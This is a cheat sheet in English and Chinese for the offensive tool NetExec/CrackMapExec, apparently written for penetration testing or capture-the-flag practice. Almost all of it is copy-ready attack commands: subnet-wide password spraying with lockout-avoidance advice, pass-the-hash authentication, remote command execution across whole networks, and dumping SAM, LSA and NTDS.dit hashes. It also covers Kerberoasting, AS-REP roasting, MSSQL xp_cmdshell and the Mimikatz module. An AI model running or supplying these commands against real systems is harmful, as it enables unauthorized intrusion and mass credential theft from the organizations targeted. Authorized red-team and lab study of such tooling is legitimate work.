nxc-cme

NetExec (nxc) / CrackMapExec (cme)

nxc (NetExec) is the successor to CrackMapExec—the command syntax is almost identical, but nxc is more actively updated. If only cme is available on the target machine, the usage is the same; just replace nxc with cme .

Core value:Operate an entire subnet with one command—batch-validate credentials, spray passwords, execute remotely, and enumerate information.

Project address:

NetExec: https://github.com/Pennyw0rth/NetExec
CrackMapExec: https://github.com/Porchetta-Industries/CrackMapExec

Network discovery and output interpretation

# 子网扫描发现 Windows 主机
nxc smb 10.0.0.0/24

# 指定非默认端口
nxc smb TARGET --port 4455

Output field interpretation: SMB 10.0.0.1 445 DC01 [*] Windows Server 2022 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False) ↑ hostname ↑ domain ↑ signing:True=DC/relay unavailable ↑ SMBv1 status signing:True → domain controller or host enforcing signing, NTLM relay not possible signing:False → can be used as an NTLM relay target Output export

nxc smb 10.0.0.0/24 --export json /tmp/nxc_scan.json nxc smb 10.0.0.0/24 | tee nxc_output.txt

Automatically generate configuration files (quick setup for domain environments)

nxc smb DC_IP --generate-hosts-file /etc/hosts # generate /etc/hosts mapping nxc smb DC_IP --generate-krb5-file /etc/krb5.conf # generate Kerberos configuration

RDP protocol probing

nxc rdp 10.0.0.0/24 # discover hosts with RDP open nxc rdp TARGET -u user -p 'password' # RDP credential validation


## 凭据验证

```bash
# 密码认证
nxc smb 10.0.0.0/24 -u admin -p 'P@ssw0rd'

# NTLM 哈希传递
nxc smb 10.0.0.0/24 -u admin -H NTLM_HASH

# 本地管理员（不用域认证）
nxc smb 10.0.0.0/24 -u administrator -p 'password' --local-auth

# 输出中 [+] 表示认证成功，(Pwn3d!) 表示有管理员权限

Password spraying

# 一个密码试所有用户（安全，不触发锁定）
nxc smb DC_IP -u users.txt -p 'Summer2024!' --continue-on-success

# 多密码喷洒（注意锁定策略）
nxc smb DC_IP -u users.txt -p passwords.txt --continue-on-success --no-bruteforce

# WinRM 协议喷洒
nxc winrm 10.0.0.0/24 -u admin -p 'password'

Remote command execution

# 通过 SMB 执行命令
nxc smb TARGET -u admin -p 'password' -x "whoami"
nxc smb TARGET -u admin -p 'password' -x "type C:\flag.txt"

# 通过 WinRM 执行
nxc winrm TARGET -u admin -p 'password' -x "ipconfig"

# PowerShell 执行
nxc smb TARGET -u admin -p 'password' -X "Get-Process"

# 批量执行（整个网段）
nxc smb 10.0.0.0/24 -u admin -p 'password' -x "hostname" --continue-on-success

Information enumeration

# SMB 共享枚举
nxc smb TARGET -u user -p 'password' --shares

# 用户枚举
nxc smb DC_IP -u user -p 'password' --users

# 组枚举
nxc smb DC_IP -u user -p 'password' --groups

# 密码策略
nxc smb DC_IP -u user -p 'password' --pass-pol

# 会话枚举（看谁登录了哪台机器）
nxc smb 10.0.0.0/24 -u user -p 'password' --sessions

# 已登录用户
nxc smb 10.0.0.0/24 -u user -p 'password' --loggedon-users

Credential dumping

# SAM 导出（本地哈希）
nxc smb TARGET -u admin -p 'password' --sam

# LSA 导出
nxc smb TARGET -u admin -p 'password' --lsa

# NTDS.dit 导出（域控上的所有域用户哈希）
nxc smb DC_IP -u admin -p 'password' --ntds

# 搭配 hashcat 破解
nxc smb DC_IP -u admin -p 'password' --ntds | tee ntds_dump.txt

LDAP operations

# LDAP 用户枚举
nxc ldap DC_IP -u user -p 'password' --users

# 查找 Kerberoastable 账户
nxc ldap DC_IP -u user -p 'password' --kerberoasting output.txt

# AS-REP Roasting
nxc ldap DC_IP -u user -p 'password' --asreproast output.txt

# 域信任
nxc ldap DC_IP -u user -p 'password' --trusted-for-delegation

MSSQL

# MSSQL 凭据验证
nxc mssql 10.0.0.0/24 -u sa -p 'password'

# 执行 SQL
nxc mssql TARGET -u sa -p 'password' -q "SELECT name FROM master.dbo.sysdatabases"

# xp_cmdshell 执行
nxc mssql TARGET -u sa -p 'password' -x "whoami"

Module system

# 列出可用模块
nxc smb -L

# 使用 Mimikatz 模块
nxc smb TARGET -u admin -p 'password' -M mimikatz

# 使用 Spider 模块（搜索共享中的敏感文件）
nxc smb TARGET -u user -p 'password' -M spider_plus

# WebDAV 检测
nxc smb TARGET -u user -p 'password' -M webdav

Decision tree

nxc vs impacket 怎么选？
├─ 批量操作（整个网段）→ nxc（一条命令做完）
├─ 单目标深度操作 → impacket（更灵活）
├─ 密码喷洒 → nxc（内置 --no-bruteforce）
├─ 凭据导出 → 都行（nxc --sam/--ntds 或 secretsdump）
├─ NTLM 中继 → impacket ntlmrelayx
└─ Kerberos 攻击 → impacket（更完整）